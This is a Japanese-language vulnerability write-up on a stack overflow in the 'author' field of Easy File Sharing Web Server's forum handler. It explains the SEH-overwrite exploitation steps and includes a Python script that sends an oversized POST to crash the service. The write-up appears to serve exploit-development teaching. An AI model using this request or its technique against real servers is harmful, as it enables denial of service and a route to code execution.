⚠️ 脆弱性について

Easy File Sharing Web Server は、ユーザーが新しいフォーラムトピックを作成するときに、/forum.ghp への HTTP POST リクエストを処理します。受け入れられるパラメータの 1 つは author であり、長さチェックなしでローカルのスタックバッファにコピーされます。

バイナリをリバースエンジニアリングすると、このフォームフィールドのハンドラが固定サイズのバッファと安全でないコピー操作を使用していることが観察できます。脆弱なロジックの簡略化されたバージョンは次のようになります：

char author_buffer[64];

strcpy(author_buffer, user_input);

宛先バッファは固定サイズであり、入力長が検証されないため、author フィールドに十分に長い文字列を送信すると、コピーがバッファの終端を超えて書き込まれます。

より多くのデータが書き込まれるにつれて、スタックレイアウトが破壊されます。単純なリターンアドレスの上書きとは異なり、オーバーフローはスタックに保存された構造化例外ハンドラ (SEH) チェーンに到達します。破壊されたスタックの結果として例外がトリガーされると、OS は SEH チェーンを辿り、攻撃者が制御するハンドラアドレスに制御を移します。

したがって、エクスプロイトの流れは SEH 上書きテクニックに従います：

1. 長い入力がスタックを上書きし、nSEH および SEH ハンドラポインタを含みます。
2. メモリ破壊により例外がトリガーされます。
3. OS が上書きされたハンドラアドレスを呼び出します。
4. POP POP RETN ガジェットを使用して、nSEH 領域に実行を転送します。
5. 前方へのショートジャンプが SEH レコードをスキップし、シェルコード領域に実行をリダイレクトします。
6. シェルコードが実行されます。

これにより、この脆弱性は基本的な EIP 上書きよりもエクスプロイトが複雑になりますが、現実世界のシナリオをよりよく代表するものになります。

import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 500

request = (
	b"POST /forum.ghp?forumid=1 HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Content-Type: application/x-www-form-urlencoded\r\n"
	b"Cookie: UserID=test; PassWD=test; SESSIONID=1234\r\n"
	b"Connection: close\r\n"
	b"\r\n"
	b"author=" + payload + b"&passwd=test&title=test&content=test&Submit=Submit\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()